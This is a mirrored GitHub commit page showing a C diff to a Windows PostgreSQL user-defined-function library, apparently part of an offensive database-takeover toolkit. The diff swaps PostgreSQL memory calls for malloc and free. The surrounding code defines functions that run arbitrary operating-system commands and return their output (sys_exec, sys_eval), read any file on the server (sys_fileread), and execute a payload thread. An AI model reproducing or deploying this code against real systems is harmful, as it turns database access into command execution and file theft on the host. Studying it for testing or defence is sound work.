Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 3fea964

Browse files
committed
fix, finally....
1 parent 16599cf commit 3fea964

1 file changed

Lines changed: 16 additions & 15 deletions

File tree

extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c

Lines changed: 16 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
5858
char *command;
5959

6060
argv0_size = VARSIZE(argv0) - VARHDRSZ;
61-
command = (char *)palloc(argv0_size + 1);
61+
command = (char *)malloc(argv0_size + 1);
6262

6363
memcpy(command, VARDATA(argv0), argv0_size);
6464
command[argv0_size] = '\0';
@@ -69,7 +69,7 @@ extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
6969
*/
7070

7171
result = system(command);
72-
pfree(command);
72+
free(command);
7373

7474
PG_FREE_IF_COPY(argv0, 0);
7575
PG_RETURN_INT32(result);
@@ -91,7 +91,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
9191
int32 outlen, linelen;
9292

9393
argv0_size = VARSIZE(argv0) - VARHDRSZ;
94-
command = (char *)palloc(argv0_size + 1);
94+
command = (char *)malloc(argv0_size + 1);
9595

9696
memcpy(command, VARDATA(argv0), argv0_size);
9797
command[argv0_size] = '\0';
@@ -101,7 +101,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
101101
elog(NOTICE, "Command evaluated: %s", command);
102102
*/
103103

104-
result = (char *)palloc(1);
104+
result = (char *)malloc(1);
105105
outlen = 0;
106106

107107
pipe = popen(command, "r");
@@ -119,7 +119,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
119119
result[outlen-1] = 0x00;
120120
}
121121

122-
result_text = (text *)palloc(VARHDRSZ + strlen(result));
122+
result_text = (text *)malloc(VARHDRSZ + strlen(result));
123123
#ifdef SET_VARSIZE
124124
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
125125
#else
@@ -206,6 +206,8 @@ DWORD WINAPI exec_payload(LPVOID lpParameter)
206206
}
207207
#endif
208208

209+
#undef fopen
210+
209211
PG_FUNCTION_INFO_V1(sys_fileread);
210212
#ifdef PGDLLIMPORT
211213
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
@@ -224,50 +226,49 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
224226
FILE *file;
225227

226228
argv0_size = VARSIZE(argv0) - VARHDRSZ;
227-
filename = (char *)palloc(argv0_size + 1);
229+
filename = (char *)malloc(argv0_size + 1);
228230

229231
memcpy(filename, VARDATA(argv0), argv0_size);
230232
filename[argv0_size] = '\0';
231233

232234
file = fopen(filename, "rb");
233235
if (!file)
234236
{
235-
PG_RETURN_POINTER(NULL);
237+
PG_RETURN_NULL();
236238
}
237-
238239
fseek(file, 0, SEEK_END);
239240
len = ftell(file);
240241
fseek(file, 0, SEEK_SET);
241242

242-
buffer=(char *)palloc(len + 1);
243+
buffer=(char *)malloc(len + 1);
243244
if (!buffer)
244245
{
245246
fclose(file);
246-
PG_RETURN_POINTER(NULL);
247+
PG_RETURN_NULL();
247248
}
248249

249250
fread(buffer, len, 1, file);
250251
fclose(file);
251252

252-
result = (char *)palloc(2*len + 1);
253+
result = (char *)malloc(2*len + 1);
253254
for (i=0, j=0; i<len; i++)
254255
{
255256
result[j++] = table[(buffer[i] >> 4) & 0x0f];
256257
result[j++] = table[ buffer[i] & 0x0f];
257258
}
258259
result[j] = '\0';
259260

260-
result_text = (text *)palloc(VARHDRSZ + strlen(result));
261+
result_text = (text *)malloc(VARHDRSZ + strlen(result));
261262
#ifdef SET_VARSIZE
262263
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
263264
#else
264265
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
265266
#endif
266267
memcpy(VARDATA(result_text), result, strlen(result));
267268

268-
pfree(result);
269-
pfree(buffer);
270-
pfree(filename);
269+
free(result);
270+
free(buffer);
271+
free(filename);
271272

272273
PG_RETURN_POINTER(result_text);
273274
}

0 commit comments

Comments
 (0)